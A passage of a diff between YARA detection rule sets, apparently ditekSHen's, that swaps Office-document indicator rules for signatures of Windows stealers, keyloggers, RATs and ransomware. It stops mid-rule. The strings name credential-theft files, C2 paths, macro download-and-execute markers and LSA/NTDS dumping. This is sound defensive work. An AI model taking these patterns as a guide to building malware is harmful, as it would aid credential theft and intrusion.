DITEKSHEN_MALWARE_Win_Buran : FILE { meta: - description = "Detects XML web frame relations refrencing an external target in dropper OOXML documents" + description = "Buran ransomware payload" author = "ditekSHen" - id = "724650db-8d58-5e73-92e7-287890babc3b" + id = "1433bac5-2ece-54bb-8e57-b5834fffc719" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L742-L752" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L871-L903" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "fbe209e31ddb4369de02b6e91bf65f0588089c7b838dcf80f182248790b59e20" + logic_hash = "eaf50d824dbade0ca63fafc5b4a376553039de9b51a0f6387cb28c8f91a7e0b9" score = 75 - quality = 75 + quality = 73 tags = "FILE" + clamav_sig = "MALWARE.Win.Ransomware.Buran" strings: - $target1 = "/frame\" Target=\"http" ascii nocase - $target2 = "/frame\" Target=\"file" ascii nocase - $mode = "TargetMode=\"External" ascii + $v1_1 = "U?$error_info_injector@V" ascii + $v1_2 = "Browse for Folder (FTP)" fullword ascii + $v1_3 = "Find/Replace in Files" fullword ascii + $v1_4 = "PAHKLM" fullword ascii + $v1_5 = "PAHKCR" fullword ascii + $v1_6 = "chkOpt_" ascii + $h1 = "Search <a href=\"location\" class=\"menu\">in this folder</a>" ascii + $h2 = "<br>to find where the text below" ascii + $h3 = "</a> files with these extensions (separate with semi-colons)" ascii + $h4 = "Need help with <a href=\"" ascii + $path = "\\work\\cr\\nata\\libs\\boost_" wide + $v2_1 = "(ShlObj" fullword ascii + $v2_2 = "\\StreamUnit" fullword ascii + $v2_3 = "TReadme" fullword ascii + $v2_4 = "TDrivesAndShares" fullword ascii + $v2_5 = "TCustomMemoryStreamD" fullword ascii + $v2_6 = "OpenProcessToken" fullword ascii + $v2_7 = "UrlMon" fullword ascii + $v2_8 = "HttpSendRequestA" fullword ascii + $v2_9 = "InternetConnectA" fullword ascii + $v2_10 = "FindFiles" fullword ascii + $v2_12 = "$*@@@*$@@@$" ascii condition: - uint32( 0 ) == 0x6d783f3c and ( 1 of ( $target* ) and $mode ) + uint16( 0 ) == 0x5a4d and ( ( ( all of ( $v1* ) and 1 of ( $h* ) ) or ( $path and 2 of ( $v1* ) and 1 of ( $h* ) ) or 10 of them ) or all of ( $v2* ) ) } -rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL1 : FILE +rule DITEKSHEN_MALWARE_Win_Masslogger : FILE { meta: - description = "Detects OLE Excel 4 Macros documents acting as downloaders" + description = "MassLogger keylogger payload" author = "ditekSHen" - id = "4212d762-ea49-5884-b697-9313f43140d5" + id = "9181b89a-2ce8-59b6-9703-c01a8471b8d6" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L765-L789" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L905-L934" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "a3248027b83b982cccf235267aa27def4f640987d41c5f11509bde3e27b82fee" + logic_hash = "7d8bbefa71a1eb20cd9d029bd516d6c37e39cfa053ed0617eace200d210d9b58" score = 75 - quality = 25 + quality = 73 tags = "FILE" strings: - $s1 = "Macros Excel 4.0" fullword ascii - $s2 = { 00 4d 61 63 72 6f 31 85 00 } - $s3 = "http" ascii - $s4 = "file:" ascii - $fa_exe = ".exe" ascii nocase - $fa_scr = ".scr" ascii nocase - $fa_dll = ".dll" ascii nocase - $fa_bat = ".bat" ascii nocase - $fa_cmd = ".cmd" ascii nocase - $fa_sct = ".sct" ascii nocase - $fa_txt = ".txt" ascii nocase - $fa_psw = ".ps1" ascii nocase - $fa_py = ".py" ascii nocase - $fa_js = ".js" ascii nocase + $s1 = "MassLogger v" ascii wide + $s2 = "MassLogger Started:" ascii wide + $s3 = "MassLogger Process:" ascii wide + $s4 = "/panel/upload.php" wide + $s5 = "ftp://" wide + $s6 = "\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}" fullword wide + $s7 = "^(.*/)?([^/\\\\.]+/\\\\.\\\\./)(.+)$" fullword wide + $s8 = "Bot Killer" ascii + $s9 = "Keylogger And Clipboard" ascii + $c1 = "costura.ionic.zip.reduced.dll.compressed" fullword ascii + $c2 = "CHECKvUNIQUEq" fullword ascii + $c3 = "HOOK/MEMORY6" fullword ascii + $c4 = "Massfile" ascii wide + $c5 = "Fz=[0-9]*'skips*" fullword ascii + $c6 = ":=65535zO" fullword ascii + $c7 = "!$!%!&!'!(!)!*!.!/!0!4!" fullword ascii + $c8 = "5!9!:!<!>!@!E!G!J!K!L!N!O!P!`!" fullword ascii + $c9 = "dllToLoad" fullword ascii + $c10 = "set_CreateNoWindow" fullword ascii + $c11 = "FtpWebRequest" fullword ascii + $c12 = "encryptedUsername" fullword ascii + $c13 = "encryptedPassword" fullword ascii condition: - uint16( 0 ) == 0xcfd0 and ( 3 of ( $s* ) and 1 of ( $fa* ) ) + ( uint16( 0 ) == 0x5a4d and 9 of ( $c* ) ) or ( 5 of ( $s* ) or 9 of ( $c* ) ) } -rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL2 : FILE +rule DITEKSHEN_MALWARE_Win_Echelon : FILE { meta: - description = "Detects OLE Excel 4 Macros documents acting as downloaders" + description = "Echelon information stealer payload" author = "ditekSHen" - id = "ea331976-6e5d-5377-a100-0f265e97177f" + id = "e13d2003-c755-5dd3-bb16-8e41dd19a151" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L791-L812" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L936-L957" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "48ab27a2f81934f6f2f034ebcd40fc083b0d90850d12a951f03dab3a4c396ec6" - score = 50 - quality = 45 + logic_hash = "c070bf52cc51dd334ea24614e33eaa2b7b1a17e7790e586cbbb8c7e33ba1bd76" + score = 75 + quality = 75 tags = "FILE" strings: - $e1 = "Macros Excel 4.0" ascii - $e2 = { 00 4d 61 63 72 6f 31 85 00 } - $a1 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 } - $a2 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 } - $a3 = { 18 00 21 00 20 00 00 01 12 00 00 00 00 00 00 00 00 00 01 3a ff } - $a4 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 } - $a5 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 } - $a6 = "auto_open" ascii nocase - $a7 = "auto_close" ascii nocase - $x1 = "* #,##0" ascii - $x2 = "=EXEC(CHAR(" ascii - $x3 = "-w 1 stARt`-s" ascii nocase - $x4 = ")&CHAR(" ascii - $x5 = "Reverse" fullword ascii + $s1 = "<GetStealer>b__" ascii + $s2 = "clearMac" fullword ascii + $s3 = "path2save" fullword ascii + $s4 = "Echelon_Size" fullword ascii + $s5 = "Echelon Stealer by" wide + $s6 = "get__masterPassword" fullword ascii + $s7 = "DomainDetect" fullword ascii + $s8 = "[^\\u0020-\\u007F]" fullword wide + $s9 = "/sendDocument?chat_id=" wide + $s10 = "//setting[@name='Password']/value" wide + $s11 = "Passwords_Mozilla.txt" fullword wide + $s12 = "Passwords_Edge.txt" fullword wide + $s13 = "@madcod" ascii wide + $pdb = "\\Echelon-Stealer-master\\obj\\Release\\Echelon.pdb" ascii condition: - uint16( 0 ) == 0xcfd0 and ( 1 of ( $e* ) and 1 of ( $a* ) and ( #x1 > 3 or 2 of ( $x* ) ) ) + ( uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or $pdb ) ) or ( 8 of ( $s* ) or $pdb ) } -rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Urldownloadtofile : FILE +rule DITEKSHEN_MALWARE_Win_Qulab { meta: - description = "Detects RTF documents that embed Excel documents for detection evation." + description = "Qulab information stealer payload or artifacts" author = "ditekSHen" - id = "39b8723c-1755-5e2f-8fb2-cca5e9eef915" + id = "6ae24c67-5700-5330-a3bd-d542162faebb" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L814-L840" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L959-L983" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "9416664683c249a9dc2b3d506d9dea7067a638cc4ee5ef7138e5b33a8fcd2b96" + logic_hash = "659d828cbef38c6362b612be9bdc05ae820f49c23684e77af6462ea677133284" score = 75 quality = 75 - tags = "FILE" + tags = "" + clamav_sig = "MALWARE.Win.Trojan.QulabZ-Stealer" strings: - $clsid1 = "2008020000000000c000000000000046" ascii nocase - $obj1 = "\\objhtml" ascii - $obj2 = "\\objdata" ascii - $obj3 = "\\objupdate" ascii - $obj4 = "\\objemb" ascii - $obj5 = "\\objautlink" ascii - $obj6 = "\\objlink" ascii - $ole1 = { d0 cf 11 e0 a1 b1 1a e1 } - $ole2 = "d0cf11e0a1b11ae1" ascii nocase - $ole3 = "64306366313165306131623131616531" ascii - $ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31" - $ole5 = { 64 30 63 66 [0-2] 31 31 65 30 61 31 62 31 31 61 65 31 } - $ole6 = "D0cf11E" ascii nocase - $s1 = "55524c446f776e6c6f6164546f46696c6541" ascii nocase - $s2 = "55524c4d4f4e" ascii nocase + $x1 = "QULAB CLIPPER + STEALER" ascii wide + $x2 = "MASAD CLIPPER + STEALER" ascii wide + $x3 = "http://teleg.run/Qulab" ascii wide + $x4 = "http://teleg.run/jew_seller" ascii wide + $x5 = "BUY CLIPPER + STEALER" ascii wide + $s1 = "\\Screen.jpg" ascii wide + $s2 = "attrib +s +h \"" ascii wide + $s3 = "\\x86_microsoft-windows-" ascii wide + $s4 = "\\amd64_microsoft-windows-" ascii wide + $s5 = "Desktop TXT File" ascii wide + $s6 = "\\AutoFills.txt" ascii wide + $s7 = "\\CreditCards.txt" ascii wide + $s8 = "a -y -mx9 -ssw" ascii wide + $s9 = "\\Passwords.txt" ascii wide + $s10 = "\\Information.txt" ascii wide + $s11 = "\\getMe" ascii wide condition: - uint32( 0 ) == 0x74725c7b and ( 1 of ( $clsid* ) and 1 of ( $obj* ) and 1 of ( $ole* ) and 1 of ( $s* ) ) + 9 of them or ( ( 1 of ( $x* ) and 4 of ( $s* ) ) or 1 of ( $x* ) ) } -rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL3 : FILE +rule DITEKSHEN_MALWARE_Win_Orion : FILE { meta: - description = "Detects OLE Excel 4 Macros documents acting as downloaders" + description = "Orion Keylogger payload" author = "ditekSHen" - id = "794cac49-e917-5282-8cbd-8ecf91a2dc9e" + id = "b380b93b-6ceb-5244-aeca-b1f8f9a5b553" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L842-L860" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L985-L1005" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "83eaf60b900119b9fcd458e9e9dda119fd71785821bf282e9385031368ff9891" + logic_hash = "9e5521ebaf9bdef6dadd2a2a093bd6f87ded023d9a74db126ac8ec9a5f1f9744" score = 75 - quality = 75 + quality = 73 tags = "FILE" strings: - $a1 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 } - $a2 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 } - $a3 = { 18 00 21 00 20 00 00 01 12 00 00 00 00 00 00 00 00 00 01 3a ff } - $a4 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 } - $a5 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 } - $a6 = "auto_open" ascii nocase - $a7 = "auto_close" ascii nocase - $s1 = "* #,##0" ascii - $s2 = "URLMon" ascii - $s3 = "DownloadToFileA" ascii - $s4 = "DllRegisterServer" ascii + $s1 = "\\Ranger.BrowserLogging" ascii wide nocase + $s2 = "GrabAccounts" fullword ascii + $s3 = "DownloadFile" fullword ascii + $s4 = "Internet Explorer Recovery" wide + $s5 = "Outlook Recovery" wide + $s6 = "Thunderbird Recovery" wide + $s7 = "Keylogs -" wide + $s8 = "WebCam_Capture.dll" wide + $s9 = " is not installed on this computer!" wide + $s10 = "cmd /c bfsvc.exe \"" wide + $s11 = "/Keylogs - PC:" fullword wide + $s12 = "/PC:" fullword wide + $s13 = "<p style=\"color:#CC7A00\">[" wide condition: - uint16( 0 ) == 0xcfd0 and 1 of ( $a* ) and all of ( $s* ) and #s1 > 3 + ( uint16( 0 ) == 0x5a4d and 5 of ( $s* ) ) or ( 6 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_DOC_Phishingpatterns : FILE +rule DITEKSHEN_MALWARE_Win_Aspire : FILE { meta: - description = "Detects OLE, RTF, PDF and OOXML (decompressed) documents with common phishing strings" + description = "Aspire Keylogger payload" author = "ditekSHen" - id = "67372eb5-ed07-5062-a12e-9ad8c7070f0f" + id = "25724975-f373-553e-b27e-43168e956c16" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L862-L883" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1007-L1022" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "50b6566cb18512f887c07576391eb492101f7534da3460d5f7740ee6f4cf707d" + logic_hash = "3ea0136dbacb79e4c7556f562d17b26b84ac3e4c967b117021e2399ded0a0fdf" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION" ascii nocase - $s2 = "Enable Editing" ascii nocase - $s3 = "Enable Content" ascii nocase - $s4 = "WHY I CANNOT OPEN THIS DOCUMENT?" ascii nocase - $s5 = "You are using iOS or Android, please use Desktop PC" ascii nocase - $s6 = "You are trying to view this document using Online Viewer" ascii nocase - $s7 = "This document was edited in a different version of" ascii nocase - $s8 = "document are locked and will not" ascii nocase - $s9 = "until the \"Enable\" button is pressed" ascii nocase - $s10 = "This document created in online version of Microsoft Office" ascii nocase - $s11 = "This document created in previous version of Microsoft Office" ascii nocase - $s12 = "This document protected by Microsoft Office" ascii nocase - $s13 = "This document encrypted by" ascii nocase - $s14 = "document created in earlier version of microsoft office" ascii nocase + $s1 = "AspireLogger -" wide + $s2 = "Application: @" wide + $s3 = "encryptedUsername" wide + $s4 = "encryptedPassword" wide + $s5 = "Fetch users fron logins" wide + $s6 = "URI=file:" wide + $s7 = "signons.sqlite" wide + $s8 = "logins.json" wide condition: - ( uint16( 0 ) == 0xcfd0 or uint32( 0 ) == 0x74725c7b or uint32( 0 ) == 0x46445025 or uint32( 0 ) == 0x6d783f3c ) and 2 of them + ( uint16( 0 ) == 0x5a4d and 6 of ( $s* ) ) or ( 7 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_EXEC : FILE +rule DITEKSHEN_MALWARE_Win_S05Kitty : FILE { meta: - description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet" + description = "Sector05 Kitty RAT payload" author = "ditekSHen" - id = "674ef310-d3bc-5e15-862f-29aa111becb3" + id = "3261f6b6-21e7-5195-98db-9607ba530572" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L885-L898" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1024-L1045" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "ab3994e4082390f65d030db0b898a20df1d7e4b0ca2fdedc7a9d0f1480fd0334" + logic_hash = "df2930694671c9ca16f2afeb799704647c9acf32be118706c342347ffe8ceb36" score = 75 quality = 75 tags = "FILE" - clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC" strings: - $ms = "<xm:macrosheet" ascii nocase - $s1 = ">FORMULA.FILL(" ascii nocase - $s2 = ">REGISTER(" ascii nocase - $s3 = ">EXEC(" ascii nocase - $s4 = ">RUN(" ascii nocase + $s1 = "Execute Comand" ascii + $s2 = "InjectExplorer" ascii + $s3 = "targetProcess = %s" fullword ascii + $s4 = "Process attach (%s)" fullword ascii + $s5 = "process name: %s" fullword ascii + $s6 = "cmd /c %s >%s" fullword ascii + $s7 = "CmdDown: %s, failed" fullword ascii + $s8 = "http://%s%s/%s" fullword ascii + $s9 = "tmp.LOG" fullword ascii + $x1 = "zerodll.dll" fullword ascii + $x2 = "OneDll.dll" fullword ascii + $x3 = "kkd.bat" fullword ascii + $x4 = "%s\\regsvr32.exe /s \"%s\"" fullword ascii + $x5 = "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fontchk.jse" fullword ascii condition: - uint32( 0 ) == 0x6d783f3c and $ms and ( 2 of ( $s* ) or ( $s3 ) ) + uint16( 0 ) == 0x5a4d and ( 8 of ( $s* ) or all of ( $x* ) ) } -rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_Autoopenhidden : FILE +rule DITEKSHEN_MALWARE_Win_Fakewmi : FILE { meta: - description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet auto_open and state hidden" + description = "FakeWMI payload" author = "ditekSHen" - id = "c5aab620-5254-5fc6-b236-4fe0f69cbd8e" + id = "689bc207-2bc6-50de-80d6-d1ba0a26b264" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L900-L910" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1047-L1064" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "a93d8aa7ac025a0c2e8a9ac833f6d4c3cd3769ffca3f87455f43411d0021e828" + logic_hash = "627886cdd01f5f02e454ef284c77c87eb027ee33f6a51536758fb7f095271a40" score = 75 quality = 75 tags = "FILE" - clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC" + clamav_sig = "MALWARE.Win.Trojan.Fakewmi" strings: - $s1 = "state=\"veryhidden\"" ascii nocase - $s2 = "<definedName name=\"_xlnm.Auto_Open" ascii nocase + $s1 = "-BEGIN RSA PUBLIC KEY-" ascii + $s2 = ".exe|" ascii + $s3 = "cmd /c wmic " ascii + $s4 = "cmd /c sc " ascii + $s5 = "schtasks" ascii + $s6 = "taskkill" ascii + $s7 = "findstr" ascii + $s8 = "netsh interface" ascii + $s9 = "CreateService" ascii condition: - uint32( 0 ) == 0x6d783f3c and all of them + uint16( 0 ) == 0x5a4d and ( all of ( $s* ) and #s2 > 10 ) } -rule DITEKSHEN_INDICATOR_SUSPICOIUS_RTF_Encodedurl : FILE +rule DITEKSHEN_MALWARE_Win_Baldr : FILE { meta: - description = "Detects executables calling ClearMyTracksByProcess" + description = "Baldr payload" author = "ditekSHen" - id = "6b3f0434-24b2-5ae8-a6fc-c0fdded4996f" + id = "cdc35a11-a97b-5e21-929e-01fed5172b55" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L930-L941" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1066-L1083" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "cb791bb5e2af46ff9f1f07cef33bbd51edc44b2394d6f3eff31d39eaa5ff2a33" + logic_hash = "f8e97fd618209bc6ce609b60b1e1f1e359be7678474fad3b18a529487c64cd99" score = 75 - quality = 75 + quality = 73 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Baldr" strings: - $s1 = "\\u-65431?\\u-65419?\\u-65419?\\u-65423?\\u-" ascii wide - $s2 = "\\u-65432?\\u-65420?\\u-65420?\\u-65424?\\u-" ascii wide - $s3 = "\\u-65433?\\u-65430?\\u-65427?\\u-65434?\\u-" ascii wide - $s4 = "\\u-65434?\\u-65431?\\u-65428?\\u-65435?\\u-" ascii wide + $x1 = "BALDR VERSION : {0}" fullword wide + $x2 = "Baldr" fullword ascii wide + $x3 = "{0}\\{1:n}.exe" fullword wide + $x4 = ".doc;.docx;.log;.txt;" fullword wide + $s1 = "<GetMAC>b__" ascii + $s2 = "<ExtractPrivateKey3>b__" ascii + $s3 = "UploadData" fullword ascii + $s6 = "get_NetworkInterfaceType" fullword ascii + $s5 = "get_Passwordcheck" fullword ascii condition: - uint32( 0 ) == 0x74725c7b and any of them + ( uint16( 0 ) == 0x5a4d and all of ( $x* ) ) or ( 2 of ( $x* ) and 4 of ( $s* ) ) } -rule DITEKSHEN_INDICATOR_RTF_Remotetemplate : CVE_2017_11882 FILE +rule DITEKSHEN_MALWARE_Win_Megumin : FILE { meta: - description = "Detects RTF documents potentially exploiting CVE-2017-11882" + description = "Megumin payload" author = "ditekSHen" - id = "59b31243-a360-531f-99ea-32b54d19ab52" + id = "bb1743f7-0bd8-5c0a-ad78-c4747904204f" date = "2020-11-06" - modified = "2024-09-06" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_office.yar#L943-L953" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1085-L1108" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "3a75072bc4d9c7dc53220afe359911c04cd3267c142058352de80ec430a53517" - score = 60 - quality = 35 - tags = "CVE-2017-11882, FILE" + logic_hash = "fb4934814c45d2465b6e1589c3b489116343ca0c17ebb916b5c9247fc676c74d" + score = 75 + quality = 50 + tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Megumin" strings: - $s1 = "{\\*\\template http" ascii nocase - $s2 = "{\\*\\template file" ascii nocase - $s3 = "{\\*\\template \\u-" ascii nocase + $s1 = "loadpe|" fullword ascii + $s2 = "Megumin/2.0" fullword ascii + $s3 = "/c start /I \"\" \"" fullword ascii + $s4 = "jsbypass|" fullword ascii + $cnc1 = "Mozilla/5.0 (Windows NT 6.1) Megumin/2.0" fullword ascii + $cnc2 = "/cdn-cgi/l/chk_jschl?s=" fullword ascii + $cnc3 = "/newclip?hwid=" fullword ascii + $cnc4 = "/isClipper" fullword ascii + $cnc5 = "/task?hwid=" fullword ascii + $cnc6 = "/completed?hwid=" fullword ascii + $cnc7 = "/gate?hwid=" fullword ascii + $cnc8 = "/addbot?hwid=" fullword ascii + $pdb = "\\MeguminV2\\Release\\MeguminV2.pdb" ascii condition: - uint32( 0 ) == 0x74725c7b and 1 of them + ( uint16( 0 ) == 0x5a4d and ( all of ( $s* ) or 5 of ( $cnc* ) or $pdb ) ) or 11 of them } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Lazagne : FILE +rule DITEKSHEN_MALWARE_Win_Rietspoof : FILE { meta: - description = "Detects LaZagne post-exploitation password stealing tool. It is typically embedded with malware in the binary resources." + description = "Rietspoof payload" author = "ditekSHen" - id = "68bc50b0-a64f-50b6-bfbf-a26a4d0970ef" + id = "b2d94705-ca59-56ae-8471-2c6895d355dc" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L3-L20" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1110-L1140" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "af4427174c1026204dc9c71878c5125efdf190328840b65fe4a69277a16fe7d2" + logic_hash = "d1d9baab83c904d1e8dcd7aeacdabfc79c1acee67006793c2240a42ebf9c62b2" score = 75 - quality = 50 + quality = 73 tags = "FILE" + clamav_sig = "MALWARE.Win.Trojan.Rietspoof" strings: - $s1 = "blaZagne.exe.manifest" fullword ascii - $S2 = "opyi-windows-manifest-filename laZagne.exe.manifest" fullword ascii - $s3 = "lazagne.softwares.windows." ascii - $s4 = "lazagne.softwares.sysadmin." ascii - $s5 = "lazagne.softwares.php." ascii - $s6 = "lazagne.softwares.memory." ascii - $s7 = "lazagne.softwares.databases." ascii - $s8 = "lazagne.softwares.browsers." ascii - $s9 = "lazagne.config.write_output(" fullword ascii - $s10 = "lazagne.config." ascii + $c1 = "%s%s%s USER: user" fullword ascii + $c2 = "cmd /c %s" fullword ascii + $c3 = "CreateObject(\"Scripting.FileSystemObject\").DeleteFile(" ascii + $c4 = "WScript.Quit" fullword ascii + $c5 = "CPU: %s(%d)" fullword ascii + $c6 = "RAM: %lld Mb" fullword ascii + $c7 = "data.dat" fullword ascii + $c8 = "%s%s%s USER:" ascii + $v1_1 = ".vbs" ascii + $v1_2 = "HELLO" ascii + $v1_3 = "Wscript.Sleep" ascii + $v1_4 = "User-agent:Mozilla/5.0 (Windows; U;" ascii + $v2_1 = "Xjoepxt!" ascii + $v2_2 = "Content-MD5:%s" fullword ascii + $v2_3 = "M9h5an8f8zTjnyTwQVh6hYBdYsMqHiAz" fullword ascii + $v2_4 = "GET /%s?%s HTTP/1.1" fullword ascii + $v2_5 = "GET /?%s HTTP/1.1" fullword ascii + $pdb1 = "\\techloader\\loader\\loader.odb" ascii wide + $pdb2 = "\\loader\\Release\\loader_v1.0.pdb" ascii wide condition: - uint16( 0 ) == 0x5a4d and any of them + uint16( 0 ) == 0x5a4d and ( 7 of ( $c* ) and ( 3 of ( $v* ) or 1 of ( $pdb* ) ) ) } -rule DITEKSHEN_INDICATOR_TOOL_PWS_Credstealer : FILE +rule DITEKSHEN_MALWARE_Win_Modirat : FILE { meta: - description = "Detects Python executable for stealing credentials including domain environments. Observed in MuddyWater." + description = "MoDiRAT payload" author = "ditekSHen" - id = "ab587b12-f3e1-5f08-b27c-03ee9752e513" + id = "8b641c7a-5ebd-50e7-83cb-e408683c456b" date = "2020-11-06" - modified = "2024-09-25" + modified = "2024-11-01" reference = "https://github.com/ditekshen/detection" - source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/indicator_tools.yar#L22-L41" + source_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/yara/malware.yar#L1142-L1158" license_url = "https://github.com/ditekshen/detection/blob/e76c93dcdedff04076380ffc60ea54e45b313635/LICENSE.txt" - logic_hash = "e729c8b0b1db642acabbc4590833c05ce81447bb89e5f40aea5f0b8ebdee4438" + logic_hash = "d0760e9dab7e9c0affb2193ea249feea8bb58e519522ca2a562f015059ad5590" score = 75 quality = 75 tags = "FILE" strings: - $s1 = "PYTHON27.DLL" fullword wide - $s2 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyR" fullword ascii - $s3 = "C:\\Python27\\lib\\site-packages\\py2exe\\boot_common.pyt" fullword ascii - $s4 = "subprocess.pyc" fullword ascii - $s5 = "MyGetProcAddress(%p, %p(%s)) -> %p" fullword ascii - $p1 = "Dump SAM hashes from target systemss" fullword ascii - $p2 = "Dump LSA secrets from target systemss" fullword ascii - $p3 = "Dump the NTDS.dit from target DCs using the specifed method" fullword ascii - $p4 = "Dump NTDS.dit password historys" fullword ascii - $p5 = "Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameterss" fullword ascii - $p6 = "Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferencess" fullword ascii - $p7 = "Combo file containing a list of domain\\username:password or username:password entriess" fullword ascii 